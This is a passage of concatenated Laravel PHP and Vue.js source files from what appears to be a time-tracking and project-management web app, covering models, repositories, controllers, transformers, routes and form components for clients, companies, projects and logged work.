Client) { $client = $identifier; } else { $client = Client::find($identifier); } if(!$client) { return $success; } $success = $client->update($fields); if($success) { foreach($relations as $rel) { if($rel instanceof Company) { $client->company()->associate($rel); } } $client->save(); } return $success; } /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id) { $client = $this->find($id); if($client) { return $client->delete(); } return true; } }<file_sep><?php namespace App\Http\Controllers; use App\Models\Company; use App\Transformers\CompanyTransformer; class CompaniesController extends Controller { /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index() { $companies = Company::orderBy('name')->get(); $companies = fractal() ->collection($companies, new CompanyTransformer()) ->includeClients() ->toArray(); return view('companies.index', [ 'companies' => $companies ]); } /** * @param Company $company * @return \Illuminate\Http\RedirectResponse */ public function getSelect(Company $company) { session(['company' => $company->id]); session()->flash('success', 'Switched to ' . $company->name); return redirect()->back(); } } <file_sep><?php namespace App\Http\Controllers\Ajax; use App\Http\Controllers\Controller; use App\Http\Requests\CompleteProjectRequest; use App\Http\Requests\CreateProjectRequest; use App\Http\Requests\UpdateProjectRequest; use App\Models\Client; use App\Models\Project; use App\Repositories\ProjectRepository; use App\Transformers\ProjectTransformer; class ProjectsController extends Controller { /** * @param Project $project * @return \Illuminate\Http\JsonResponse */ public function show(Project $project) { $project = fractal()->item($project, new ProjectTransformer()) ->parseIncludes(request()->get('includes')) ->toArray(); return response()->json([ 'success' => true, 'data' => $project ]); } /** * @param CreateProjectRequest $req * @param ProjectRepository $repo * @return \Illuminate\Http\JsonResponse */ public function store(CreateProjectRequest $req, ProjectRepository $repo) { $client = Client::find($req->get('client_id')); $project = $repo->create($req->all(), $client); if($project) { $project = fractal()->item($project, new ProjectTransformer()) ->includeClient() ->includeDeliverables() ->includeWork() ->toArray(); return response()->json([ 'success' => true, 'data' => $project, ], 203); } return response()->json([ 'success' => false, ], 400); } /** * @param Project $project * @param UpdateProjectRequest $req * @param ProjectRepository $repo * @return \Illuminate\Http\JsonResponse */ public function update(Project $project, UpdateProjectRequest $req, ProjectRepository $repo) { $client = null; if($req->has('client_id')) { $client = Client::find($req->get('client_id')); } $success = $repo->update($project, $req->all(), $client); if($success) { $project = $repo->find($project->id); $project = fractal()->item($project, new ProjectTransformer()) ->includeClient() ->includeWork() ->includeDeliverables() ->toArray(); return response()->json([ 'success' => true, 'data' => $project, ]); } return response()->json([ 'success' => false, ], 400); } /** * @param Project $project * @return \Illuminate\Http\JsonResponse */ public function destroy(Project $project) { try { if($project->delete()) { return response()->json([ 'success' => true, ]); } else { return response()->json([ 'success' => false, ], 400); } } catch (\Exception $e) { return response()->json([ 'success' => false, ], 400); } } /** * @param Project $project * @return \Illuminate\Http\JsonResponse */ public function getWorkDone(Project $project) { $totalHours = 0; $project->load('work', 'deliverables.work'); foreach ($project->work as $w) { $totalHours += $w->hours; } foreach ($project->deliverables as $deliv) { foreach ($deliv->work as $w) { $totalHours += $w->hours; } } return response()->json([ 'success' => true, 'data' => [ 'hours' => $totalHours, ], ]); } /** * @param CompleteProjectRequest $req * @param Project $project * @param ProjectRepository $repo * @return \Illuminate\Http\JsonResponse */ public function postComplete(CompleteProjectRequest $req, Project $project, ProjectRepository $repo) { $success = $repo->update($project, $req->all()); if($success) { $project = Project::find($project->id); $project = fractal()->item($project, new ProjectTransformer()) ->includeClient() ->includeWork() ->includeDeliverables() ->toArray(); return response()->json([ 'success' => true, 'data' => $project, ]); } return response()->json([ 'success' => false, ], 400); } } <file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; class WorkTransformer extends TransformerAbstract { /** * @var array */ protected $availableIncludes = ['task']; /** * @var array */ protected $defaultIncludes = ['task']; /** * A Fractal transformer. * * @param $work * @return array */ public function transform($work) { $data = null; if(!$work) return $data; $data = [ 'id' => $work->id, 'description' => $work->description, 'hours' => $work->hours, 'day' => $work->created_at->format('Y-m-d'), ]; return $data; } /** * @param $work * @return \League\Fractal\Resource\Item|\League\Fractal\Resource\NullResource */ public function includeTask($work) { if(!$work) return $this->null(); $work->load('task'); return $this->item($work->task, new TaskTransformer()); } } <file_sep><?php namespace App\Http\Controllers; use App\Http\Requests\UpdateProfileRequest; class AccountController extends Controller { /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getProfile() { return view('account.profile'); } /** * @param UpdateProfileRequest $req * @return \Illuminate\Http\RedirectResponse */ public function postUpdateProfile(UpdateProfileRequest $req) { $user = auth()->user(); if($user->update($req->all())) { session()->flash('success', 'Updated your account'); } else { session()->flash('error', 'Could not update your account'); } return redirect()->back(); } /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getSocialMedia() { return view('account.social-media'); } } <file_sep><?php namespace App\Repositories; use App\Models\Company; use App\Models\User; class CompanyRepository implements iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations) { try { $company = Company::create($fields); $count = Company::count(); // If first, then make default if($count < 2) { $company->default = true; } // Set belongsTo's foreach($relations as $rel) { if($rel instanceof User) { $company->owner()->associate($rel); } } // save data thus far $company->save(); // if making default set all other companies as not default if($count > 1 && $company->owner && $company->default) { $company->owner->companies()->where('id', '<>', $company->id)->update(['default' => 0]); } return $company; } catch (\Exception $e) { \Log::error($e->getMessage()); return null; } } /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id) { return Company::find($id); } /** * Update a resource * * @param mixed $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool { $success = false; $company = null; if($identifier instanceof Company) { $company = $identifier; } else { $company = Company::find($identifier); } if(!$company) { return $success; } $success = $company->update($fields); if($success) { foreach($relations as $rel) { if($rel instanceof User) { $company->owner()->associate($rel); } } $company->save(); } return $success; } /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id) { $company = $this->find($id); if($company) { return $company->delete(); } return true; } }<file_sep>import Vue from 'vue'; Vue.component('login', { props: ['formErrors'], data() { return { forms: { login: { email: null, password: <PASSWORD>, rememberMe: false } } }; }, methods: { validateLogin() { this.$validator.validateAll().then(res => { if(res) { this.doLogin(); } }); }, doLogin() { $('#login-form').submit(); } } });<file_sep><?php namespace App\Repositories; interface iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations); /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id); /** * Update a resource * * @param $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool; /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id); }<file_sep><?php use Illuminate\Database\Seeder; class ClientSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { $companies = \App\Models\Company::all(); $ids = $companies->pluck('id')->all(); factory(\App\Models\Client::class, $companies->count() * 3)->create()->each(function ($client, $index) use($ids) { $newIndex = (int) floor($index / 3); $id = $ids[$newIndex]; $client->company()->associate($id); $client->save(); }); } } <file_sep><?php namespace App\Http\Controllers; use App\Http\Request\Queries\WorkSearchRequest; use App\Searches\WorkSearch; use App\Transformers\WorkTransformer; use Carbon\Carbon; class WorkController extends Controller { /** * Route all requests to the default month view for today's month * * @return \Illuminate\Http\RedirectResponse */ public function index() { $today = Carbon::now()->toDateString(); return redirect()->route('work-monthly', ['date' => $today]); } /** * @param WorkSearchRequest $req * @param WorkSearch $search * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getMonthView(WorkSearchRequest $req, WorkSearch $search) { $works = $search->params($req)->month()->search(); $works = fractal()->collection($works, new WorkTransformer())->toArray(); return view('work.month', [ 'work' => $works ]); } /** * @param WorkSearchRequest $req * @param WorkSearch $search * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getWeekView(WorkSearchRequest $req, WorkSearch $search) { $works = $search->params($req)->week()->search(); $works = fractal()->collection($works, new WorkTransformer())->toArray(); return view('work.week', [ 'work' => $works ]); } /** * @param WorkSearchRequest $req * @param WorkSearch $search * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function getDayView(WorkSearchRequest $req, WorkSearch $search) { $works = $search->params($req)->day()->search(); $works = fractal()->collection($works, new WorkTransformer())->toArray(); return view('work.day', [ 'work' => $works ]); } } <file_sep>import Vue from 'vue'; Vue.component('account-profile', { props: ['user'], data() { return { http: { profile: false }, modals: { profile: false }, forms: { profile: { first_name: this.user.first_name, last_name: this.user.last_name, email: this.user.email } } } }, methods: { openEditProfileModal() { this.modals.profile = true; }, closeEditProfileModal() { this.modals.profile = false; Object.keys(this.forms.profile).forEach(k => { this.forms.profile[k] = this.user[k]; }); this.errors.clear(); }, validateUpdateProfile() { this.$validator.validateAll().then(res => { if(res) { this.updateProfile(); } }); }, updateProfile() { this.http.profile = true; $('#profile-form').submit(); } } });<file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; class TaskTransformer extends TransformerAbstract { protected $availableIncludes = ['work', 'projects']; /** * A Fractal transformer. * * @param $task * @return array */ public function transform($task) { $data = null; if(!$task) return $data; $data = [ 'id' => $task->id, 'name' => $task->name, 'description' => $task->description, ]; return $data; } /** * @param $task * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource */ public function includeProjects($task) { if(!$task) return $this->null(); $task->load('projects'); return $this->collection($task->projects, new ProjectTransformer()); } /** * @param $task * @return \League\Fractal\Resource\Item|\League\Fractal\Resource\NullResource */ public function includeWork($task) { if(!$task) return $this->null(); $task->load('work'); return $this->item($task->work, new WorkTransformer()); } } <file_sep>import './login'; import './register'; import './email';<file_sep>import moment from 'moment'; export default class Project { constructor(attributes = {}) { // Inherit from attr object Object.keys(attributes).forEach(k => { this[k] = attributes[k]; }); // Set local variables not passed down from server this.hours_worked = 0; } get due_at_moment() { let value = this.due_at; if(value) { value = moment(this.due_at); } return value; } get completed_at_moment() { let value = this.completed_at; if(value) { value = moment.utc(value); } return value; } static hydrate(data) { if(Array.isArray(data)) { return data.map(o => { return new Project(o); }); } else { return new Project(data); } } }<file_sep><?php namespace App\Providers; use App\Facades\ModelHashId; use App\Searches\WorkSearch; use Illuminate\Database\Eloquent\Relations\Relation; use Illuminate\Support\ServiceProvider; class AppServiceProvider extends ServiceProvider { /** * Bootstrap any application services. * * @return void */ public function boot() { Relation::morphMap([ 'project' => \App\Models\Project::class, 'deliverable' => \App\Models\Deliverable::class, ]); } /** * Register any application services. * * @return void */ public function register() { // Load IDE helper anywhere not prod if($this->app->environment() !== 'production' && $this->app->environment() !== 'prod') { $this->app->register(\Barryvdh\LaravelIdeHelper\IdeHelperServiceProvider::class); } // Bind WorkSearch to container $this->app->bind(WorkSearch::class, function () { return new WorkSearch(); }); // Create new singleton to encapsulate instantiating a hashid instance // with the project specific configuration parameters $this->app->bind(ModelHashId::class, function () { return new \Hashids\Hashids(config('services.hashid.key'), config('services.hashid.padding'), config('services.hashid.alphabet')); }); } } <file_sep>import Vue from 'vue'; Vue.component('clients', { props: ['companies', 'clients', 'states'], data() { return { http: { creatingClient: false }, companyFilterIds: [], modals: { createClient: false }, mClients: this.clients, forms: { newClient: { company_id: '', name: '', address: '', city: '', zip: '', state: '', country: '' } }, formErrors: { createClient: null } } }, methods: { filterByCompany(companyId) { let i = this.companyFilterIds.indexOf(companyId); if(i > -1) { this.companyFilterIds.splice(i, 1); } else { this.companyFilterIds.push(companyId); } }, companySelected(companyId) { return this.companyFilterIds.indexOf(companyId) > -1; }, createClient() { let data = new FormData(); this.http.creatingClient = true; Object.keys(this.forms.newClient).forEach(k => { data.append(k, this.forms.newClient[k]); }); this.$http.post('/ajax/clients', data).then(res => { this.http.creatingClient = false; this.mClients.push(res.data.data); this.closeCreateClientModal(); }).catch(res => { this.http.creatingClient = false; }); }, validateCreateClient() { let fields = Object.keys(this.forms.newClient).map(k => { return `create-client.${k}`; }); this.$validator.validateAll(fields).then(res => { if(res) { this.createClient(); } }); }, openCreateClientModal() { this.modals.createClient = true; }, closeCreateClientModal() { this.modals.createClient = false; this.http.creatingClient = false; Object.keys(this.forms.newClient).forEach((k) => { this.forms.newClient[k] = ''; }); this.errors.clear(); } }, computed: { filteredClients() { if(!this.companyFilterIds.length) { return this.mClients; } else { return this.mClients.filter(c => { return this.companyFilterIds.indexOf(c.company.id) > -1; }); } }, formattedStates() { let states = []; Object.keys(this.states).forEach(k => { states.push({ text: this.states[k], value: k }); }); return states; } } });<file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; use ModelHashId; use Storage; class Company extends Model { use SoftDeletes; /** * @var array */ protected $fillable = [ 'hash_id', 'name', 'address', 'city', 'state', 'zip', 'country', 'photo', 'default' ]; /** * @var array */ protected $casts = [ 'default' => 'boolean' ]; /** * @return string */ public function getRouteKeyName() { return 'hash_id'; } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function owner() { return $this->belongsTo(User::class, 'user_id'); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function clients() { return $this->hasMany(Client::class); } /** * Handle automatic logic */ public static function boot() { parent::boot(); self::created(function ($company) { $company->hash_id = ModelHashId::encode($company->id); $company->save(); }); self::deleting(function ($company) { $path = $company->photo; if($path) { Storage::delete($path); } }); } } <file_sep><?php namespace App\Http\Controllers\App\Http\Controllers\Ajax; use App\Http\Controllers\Controller; use App\Http\Requests\CreateWorkRequest; use App\Models\Work; use App\Repositories\WorkRepository; use App\Transformers\WorkTransformer; use Illuminate\Database\Eloquent\Relations\Relation; class WorkController extends Controller { /** * @param CreateWorkRequest $req * @param WorkRepository $repo * @return \Illuminate\Http\JsonResponse */ public function store(CreateWorkRequest $req, WorkRepository $repo) { $target = Relation::getMorphedModel($req->get('workable_type')); $target = $target::find($req->get('workable_id')); if(!$target) { return response()->json([ 'success' => false, 'error' => 'Could not find the project or deliverable this work is for.', ], 404); } $work = $repo->create($req->except('workable_id', 'workable_type')); // Associate the work to its target $target->work()->save($work); // Fetch updated data $work = fractal()->item($work, new WorkTransformer())->includeTask()->toArray(); return response()->json([ 'success' => true, 'data' => $work, ]); } /** * @param Work $work * @param CreateWorkRequest $req * @param WorkRepository $repo * @return \Illuminate\Http\JsonResponse */ public function update(Work $work, CreateWorkRequest $req, WorkRepository $repo) { $owner = $work->workable(); $success = $repo->update($work->id, $req->except('workable_id', 'workable_type')); $work = $repo->find($work->id); if($success && $work) { // If owner is being updated...should be a rare case if($owner->id != $req->get('workable_id') && $req->get('workable_type') != $work->workable_type) { $target = Relation::getMorphedModel($req->get('workable_type')); $target = $target::find($req->get('workable_id')); // Detach from old owner $owner->work()->detach(); // Save to new owner $target->work()->save($work); } $work = $repo->find($work->id); $work = fractal()->item($work, new WorkTransformer())->includeTaks()->toArray(); return response()->json([ 'success' => true, 'data' => $work, ]); } else { return response()->json([ 'success' => false ], 400); } } /** * @param Work $work * @return \Illuminate\Http\JsonResponse */ public function destroy(Work $work) { $success = false; try { $work->delete(); $success = true; } catch (\Exception $e) { \Log::info('Could not delete work id: ' . $work->id); } if($success) { return response()->json([ 'success' => true, ]); } return response()->json([ 'success' => false ], 400); } } <file_sep>import Vue from 'vue'; import './bootstrap'; const app = new Vue({ el: '#app', data() { return { messages: { 'success': true, 'info': true, 'warning': true, 'error': true } } }, methods: { logout() { $('#logout-form').submit(); } } }); <file_sep>import Vue from 'vue'; import Project from '../../models/project'; import HoursWorked from '../projects/HoursWorked.vue'; import FormErrors from '../errors/FormErrors.vue'; import swal from 'sweetalert2'; import Promise from 'bluebird'; Vue.component('projects-list', { props: ['projects', 'clients'], components: {HoursWorked, FormErrors}, data() { return { mProjects: this.projects, filter: { clientIds: [], status: { completed: false, notCompleted: false } }, forms: { newProject: { client_id: '', name: '', estimated_cost: '', estimated_hours: '', due_at: '', } }, formErrors: { newProject: null }, http: { creatingProject: false }, table: { headers: [ { text: 'Client', align: 'left', sortable: 'true', value: 'client.name' }, { text: 'Name', align: 'left', sortable: 'true', value: 'name' }, { text: 'Hours', align: 'left', sortable: true, value: 'estimated_hours' }, { text: 'Worked', align: 'left', sortable: true, value: 'hours_worked' }, { text: 'Cost', align: 'left', sortable: true, value: 'estimated_cost' }, { text: 'Due on', align: 'left', sortable: true, value: 'due_at' }, { text: 'Completed on', align: 'left', sortable: true, value: 'completed_at' } ] }, modals: { createNewProject: false } } }, methods: { openCreateProjectModal() { this.modals.createNewProject = true; }, closeCreateProjectModal() { this.modals.createNewProject = false; Object.keys(this.forms.newProject).forEach(k => { this.forms.newProject[k] = ''; }); this.$nextTick(() => { this.errors.clear(); }); }, validateCreateProject() { let keys = []; Object.keys(this.forms.newProject).forEach(k => { keys.push(`new-${k}`); }); this.$validator.validateAll(keys).then(res => { if(res) { this.createProject(); } }); }, createProject() { this.formErrors.newProject = null; this.http.creatingProject = true; this.$http.post('/ajax/projects', this.forms.newProject).then(res => { this.http.creatingProject = false; this.closeCreateProjectModal(); this.mProjects.push(res.data.data); }).catch(res => { this.http.creatingProject = false; if(res.response && res.response.data) { if(res.response.data.errors) { this.formErrors.newProject = res.response.data.errors; } } }); }, projectDetails(project) { window.location = `/projects/${project.id}`; } }, computed: { hydratedProjects() { return Project.hydrate(this.mProjects); }, filteredProjects() { return this.hydratedProjects.filter(p => { let passes = true; if(this.filter.clientIds.length) { passes = this.filter.clientIds.indexOf(p.client.id) > -1; } if(!passes) return passes; return passes; }).filter(p => { let passes = false; if(this.filter.status.completed && p.completed_at) { passes = true; } if(this.filter.status.notCompleted && !p.completed_at) { passes = true; } if(!this.filter.status.completed && !this.filter.status.notCompleted) { passes = true; } return passes; }); } } });<file_sep>import Vue from 'vue'; Vue.component('register', { props: ['formErrors'], data() { return { forms: { register: { firstName: null, lastName: null, email: null, password: null, passwordConfirmation: null } } } }, methods: { validateRegister() { this.$validate.validateAll().then(res => { if(res) { this.doRegister(); } }); }, doRegister() { $('#register-form').submit(); } } });<file_sep>import Vue from 'vue'; Vue.component('time-sheet', { data() { return { forms: { work: { } } }; }, methods: { createWork() { } } });<file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; use ModelHashId; class Client extends Model { use SoftDeletes; /** * @var array */ protected $fillable = [ 'hash_id', 'name', 'address', 'city', 'state', 'zip', 'country' ]; /** * @return string */ public function getRouteKeyName() { return 'hash_id'; } /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function company() { return $this->belongsTo(Company::class); } /** * @return \Illuminate\Database\Eloquent\Relations\HasMany */ public function projects() { return $this->hasMany(Project::class); } /** * Handle automatic logic */ public static function boot() { parent::boot(); self::created(function ($client) { $client->hash_id = ModelHashId::encode($client->id); $client->save(); }); } } <file_sep><?php namespace App\Providers; use App\Repositories\ClientRepository; use App\Repositories\CompanyRepository; use Illuminate\Support\ServiceProvider; class RepositoryServiceProvider extends ServiceProvider { protected $defer = true; public function register() { $this->app->bind(ClientRepository::class, function () { return new ClientRepository(); }); $this->app->bind(CompanyRepository::class, function () { return new CompanyRepository(); }); } public function provides() { return [ ClientRepository::class, CompanyRepository::class, ]; } }<file_sep>import Vue from 'vue'; Vue.component('password-email', { data() { return { form: { email: null } } }, methods: { validateEmail() { this.$validate.validateAll().then(res => { if(res) { this.doSendEmail(); } }); }, doSendEmail() { $('#password-email-form').submit(); } } });<file_sep><?php namespace App\Http\Request\Queries; use Carbon\Carbon; use Illuminate\Foundation\Http\FormRequest; class WorkSearchRequest extends FormRequest { public $allowedParams = [ 'date', 'client', 'project', ]; /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'date' => 'date_format:Y-m-d' ]; } /** * @param string $date * @return string|static */ public function dateTransform($date = '') { $date = Carbon::createFromFormat('Y-m-d', $date); return $date; } } <file_sep><?php namespace App\Searches; use App\Http\Request\Queries\WorkSearchRequest; use App\Models\Work; use Carbon\Carbon; class WorkSearch { /** * @var \Illuminate\Database\Eloquent\Builder */ private $query; /** * @var */ private $params = []; /** * @var */ private $scope = 'month'; /** * WorkSearch constructor. */ public function __construct() { $this->query = Work::query(); } /** * @param WorkSearchRequest $req * @return WorkSearch */ public function params(WorkSearchRequest $req) { foreach($req->allowedParams as $key) { $v = $req->get($key); if(method_exists($req, $key . "Transform")) { $v = call_user_func_array([$req, $key . "Transform"], [$v]); } $this->params[$key] = $v; } return $this; } /** * @return mixed */ public function month() { $this->scope = 'month'; return $this; } /** * @return mixed */ public function week() { $this->scope = 'week'; return $this; } /** * @return $this */ public function day() { $this->scope = 'day'; return $this; } /** * @return \Illuminate\Database\Eloquent\Collection|static[] */ public function search() { $this->buildQuery(); return $this->query->get(); } /** * @return $this; */ private function buildQuery() { //Handle filters foreach($this->params as $k => $v) { if($v) { $method = "filterBy" . ucfirst($k); if(method_exists($this, $method)) { $this->{$method}($v); } } } return $this; } /** * @param int $projectId * @return $this */ private function filterByProject($projectId = 0) { $this->query->whereHas('project', function ($q) use($projectId) { $q->where('id', $projectId); }); return $this; } /** * @param int $clientId * @return $this */ private function filterByClient($clientId = 0) { $this->query->whereHas('project.client', function ($q) use($clientId) { $q->where('id', $clientId); }); return $this; } /** * @param Carbon $date * @return $this */ private function filterByDate(Carbon $date) { $method = "scopeBy" . ucFirst($this->scope); return $this->{$method}($date); } /** * @param Carbon $date * @return $this */ private function scopeByMonth(Carbon $date) { $this->query->whereYear('created_at', $date->year) ->whereMonth('created_at', $date->month); return $this; } /** * @param Carbon $date * @return $this */ private function scopeByWeek(Carbon $date) { $start = (clone $date)->startOfWeek(); $end = (clone $start)->endOfWeek(); $this->query->whereDate('created_at', '>=', $start) ->whereDate('created_at', '<=', $end); return $this; } /** * @param Carbon $date * @return $this */ private function scopebyDay(Carbon $date) { $start = (clone $date)->startOfDay(); $end = (clone $start)->endOfDay(); $this->query->whereDate('created_at', '>=', $start) ->whereDate('created_at', '<=', $end); return $this; } }<file_sep><?php Auth::routes(); Route::view('/', 'welcome'); Route::group(['middleware' => 'auth'], function () { Route::group(['prefix' => 'account'], function () { // Account Route::get('/profile', 'AccountController@getProfile'); Route::post('/profile', 'AccountController@postUpdateProfile'); Route::get('/social-media', 'AccountController@getSocialMedia'); // Company routes Route::get('/companies', 'CompaniesController@index'); Route::get('/companies/{company}/select', ['as' => 'set-company', 'uses' => 'CompaniesController@getSelect']); // Client routes Route::get('/clients', 'ClientsController@index'); Route::get('/clients/{client}', 'ClientsController@show'); }); // Dashboard Route::get('/dashboard', 'DashboardController@index')->name('dashboard'); // Work View Route::get('/work', 'WorkController@index'); Route::get('/work/month', ['as' => 'work-monthly', 'uses' => 'WorkController@getMonthView']); Route::get('/work/week', ['as' => 'work-weekly', 'uses' => 'WorkController@getWeekView']); Route::get('/work/day', ['as' => 'work-dayly', 'uses' => 'WorkController@getDayView']); // Tasks Route::get('/tasks', 'TasksController@index'); // Projects Route::get('/projects', 'ProjectsController@index'); Route::get('/projects/{project}', 'ProjectsController@show'); // Ajax Routes Route::group(['prefix' => 'ajax', 'namespace' => 'Ajax'], function () { // Company Route::get('/companies/{id}', 'CompaniesController@show'); Route::post('/companies', 'CompaniesController@store'); Route::put('/companies/{company}', 'CompaniesController@update'); Route::delete('/companies/{company}', 'CompaniesController@destroy'); // Clients Route::apiResource('/clients', 'ClientsController', ['only' => ['index', 'store', 'update', 'destroy']]); // Deliverables Route::get('/deliverables/{deliverable}/hours-worked', 'DeliverablesController@getWorkDone'); Route::post('/deliverables/{deliverable}/complete', 'DeliverablesController@postComplete'); Route::apiResource('/deliverables', 'DeliverablesController', ['only' => ['store', 'show', 'update', 'destroy']]); // Tasks Route::apiResource('/tasks', 'TasksController', ['only' => ['store', 'update', 'destroy']]); // Work Route::apiResource('/work', 'WorkController', ['only' => ['store', 'update', 'destroy']]); // Projects Route::get('/projects/{project}/hours-worked', 'ProjectsController@getWorkDone'); Route::post('/projects/{project}/complete', 'ProjectsController@postComplete'); Route::apiResource('/projects', 'ProjectsController', ['only' => ['store', 'show', 'update', 'destroy']]); }); }); <file_sep><?php namespace App\Http\Controllers; use App\Models\Client; use App\Models\Company; use App\Transformers\ClientTransformer; use App\Transformers\CompanyTransformer; class ClientsController extends Controller { /** * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function index() { $clients = Client::query(); $companies = Company::orderBy('name')->get(); if(request()->has('company_id')) { $clients->whereHas('company', function ($q) { $q->where('id', request()->get('company_id')); }); } $clients = $clients->orderBy('name')->get(); $clients = fractal()->collection($clients, new ClientTransformer()) ->includeCompany() ->includeProjects() ->toArray(); $companies = fractal()->collection($companies, new CompanyTransformer())->toArray(); return view('clients.index', [ 'clients' => $clients, 'companies' => $companies, ]); } /** * @param Client $client * @return \Illuminate\Contracts\View\Factory|\Illuminate\View\View */ public function show(Client $client) { $clientJson = fractal()->item($client, new ClientTransformer()) ->includeProjects() ->includeCompany() ->toArray(); $companies = Company::orderBy('name')->get(); $companies = fractal()->collection($companies, new CompanyTransformer())->toArray(); return view('clients.show', [ 'client' => $client, 'companies' => $companies, 'json' => $clientJson, ]); } } <file_sep><?php namespace App\Repositories; use App\Models\Deliverable; use App\Models\Project; class DeliverableRepository implements iResourceRepository { /** * Create a new resource * * @param array $fields * @param array $relations * @return mixed */ public function create(array $fields = [], ...$relations) { $deliverable = null; try { $deliverable = Deliverable::create($fields); foreach($relations as $rel) { if($rel instanceof Project) { $deliverable->project()->associate($rel); } } $deliverable->save(); } catch (\Exception $e) { \Log::error($e->getMessage()); } return $deliverable; } /** * Find a resource * * @param integer $id * @return mixed */ public function find(int $id) { return Deliverable::find($id); } /** * Update a resource * * @param mixed $identifier * @param array $fields * @param array $relations * @return bool */ public function update($identifier, array $fields = [], ...$relations): bool { $success = false; $deliverable = null; if($identifier instanceof Deliverable) { $deliverable = $identifier; } else { $deliverable = Deliverable::find($identifier); } if(is_null($deliverable)) return $success; $success = $deliverable->update($fields); if($success) { foreach($relations as $rel) { if($rel instanceof Project) { $deliverable->project()->associate($rel); } } $deliverable->save(); } return $success; } /** * Delete a resource * * @param integer $id * @return bool */ public function delete(int $id) { // TODO: Implement delete() method. } }<file_sep><?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\SoftDeletes; class Deliverable extends Model { use SoftDeletes; /** * @var array */ protected $fillable = ['name', 'estimated_cost', 'estimated_hours', 'description', 'due_at', 'completed_at']; /** * @var array */ protected $dates = ['due_at', 'completed_at']; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function project() { return $this->belongsTo(Project::class); } /** * @return \Illuminate\Database\Eloquent\Relations\MorphMany */ public function work() { return $this->morphMany(Work::class, 'workable'); } } <file_sep><?php namespace App\Transformers; use League\Fractal\TransformerAbstract; class ClientTransformer extends TransformerAbstract { /** * @var array */ protected $availableIncludes = ['company', 'projects']; /** * A Fractal transformer. * * @param $client * @return array */ public function transform($client) { $data = null; if(!$client) { return $data; } $data = [ 'id' => $client->id, 'hash_id' => $client->hash_id, 'company_id' => $client->company_id, 'name' => $client->name, 'address' => $client->address, 'city' => $client->city, 'state' => $client->state, 'zip' => $client->zip, 'country' => $client->country, ]; return $data; } /** * @param $client * @return \League\Fractal\Resource\Item|mixed */ public function includeCompany($client) { if(!$client) return $this->null(); $client->load('company'); return $this->item($client->company, new CompanyTransformer()); } /** * @param $client * @return \League\Fractal\Resource\Collection|\League\Fractal\Resource\NullResource */ public function includeProjects($client) { if(!$client) return $this->null(); $client->load('projects'); return $this->collection($client->projects, new ProjectTransformer()); } } <file_sep><?php namespace App\Http\Controllers\Ajax; use App\Http\Requests\CreateCompanyRequest; use App\Http\Controllers\Controller; use App\Models\Company; use App\Models\User; use App\Repositories\CompanyRepository; use App\Transformers\CompanyTransformer; use Storage; class CompaniesController extends Controller { /** * @param $id * @param CompanyRepository $repo * @return \Illuminate\Http\JsonResponse */ public function show($id, CompanyRepository $repo) { $company = $repo->find($id); $company = fractal()->item($company, new CompanyTransformer())->toArray(); if($company) { return response()->json([ 'success' => true, 'data' => $company, ]); } return response()->json([ 'success' => false, ], 404); } /** * @param CreateCompanyRequest $request * @param CompanyRepository $repo * @return \Illuminate\Http\JsonResponse */ public function store(CreateCompanyRequest $request, CompanyRepository $repo) { $current = User::find(auth()->id()); $company = $repo->create($request->all(), $current); if($company) { if($request->hasFile('photo') && $request->file('photo')) { $file = $request->file('photo')->store('companies'); $company->update([ 'photo' => $file ]); } $company = fractal()->item($company, new CompanyTransformer())->toArray(); return response()->json([ 'success' => true, 'data' => $company, ], 203); } return response()->json([ 'success' => false, ], 400); } /** * @param Company $company * @param CreateCompanyRequest $req * @param CompanyRepository $repo * @return \Illuminate\Http\JsonResponse */ public function update(Company $company, CreateCompanyRequest $req, CompanyRepository $repo) { $data = $req->except('photo'); // Store new photo and save path // Delete old photo if($req->hasFile('photo') && $req->file('photo')) { $oldPhoto = $company->photo; $file = $req->file('photo')->store('companies'); $data['photo'] = $file; Storage::delete($oldPhoto); } $success = $repo->update($company->id, $data); if($success) { $company = $repo->find($company->id); if($company) { $company = fractal()->item($company, new CompanyTransformer()) ->includeClients() ->toArray(); } return response()->json(['success' => true, 'data' => $company], 200); } return response()->json(['success' => false], 400); } /** * @param Company $company * @param CompanyRepository $repo * @return \Illuminate\Http\JsonResponse */ public function destroy(Company $company, CompanyRepository $repo) { $success = $repo->delete($company->id); if($success) { return response()->json([ 'success' => true ]); } return response()->json([ 'success' => false ], 400); } } <file_sep><?php namespace App\Http\Controllers\Ajax; use App\Http\Requests\CreateClientRequest; use App\Http\Controllers\Controller; use App\Http\Requests\UpdateClientRequest; use App\Models\Client; use App\Models\Company; use App\Repositories\ClientRepository; use App\Repositories\CompanyRepository; use App\Transformers\ClientTransformer; class ClientsController extends Controller { 